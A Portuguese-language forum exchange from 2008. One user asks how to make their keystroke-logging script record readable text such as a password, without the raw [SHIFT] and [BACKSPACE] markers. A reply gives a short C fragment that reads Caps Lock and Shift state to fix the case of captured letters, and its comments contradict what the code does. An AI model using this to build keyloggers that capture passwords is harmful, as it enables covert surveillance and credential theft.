Quote from: Korndog on 17 de November , 2008, 02:06:15 PM
Tenho um script parecido com este, o qual eu tenho feito modificações constantemente...
Porém ele grava as keys como elas aparecem. ???
Ex:
[SHIFT]mypasss[BACKSPACE]123
Invés de Mypass123
Alguém sabe um bom método para fazer isso ( sem ter que abrir o ficheiro de log, modificar e gravar ) ?
Atenciosamente,
é só você verificar se o capslock e o shift estão precionados e botar a letra maiúscula quando necessário..
segue um código que eu fiz a um bom tempo atrás.
Code Select
if (tecla >= VK_A && tecla <= VK_Z){
if (GetKeyState(VK_CAPITAL)){ //verifica se o capslock está ligado
if (GetAsyncKeyState(VK_SHIFT) == -32768) //verifica se o shift não está precionado
tecla = tecla + 32; //transforma a letra em maiúscula
sprintf(mbuff,"%c",tecla);
}else{
if(!(GetAsyncKeyState(VK_SHIFT) == -32768)) //verifica se o shift está precionado
tecla = tecla + 32; //transforma a letra em maiuscula
sprintf(mbuff,"%c",tecla);
}
}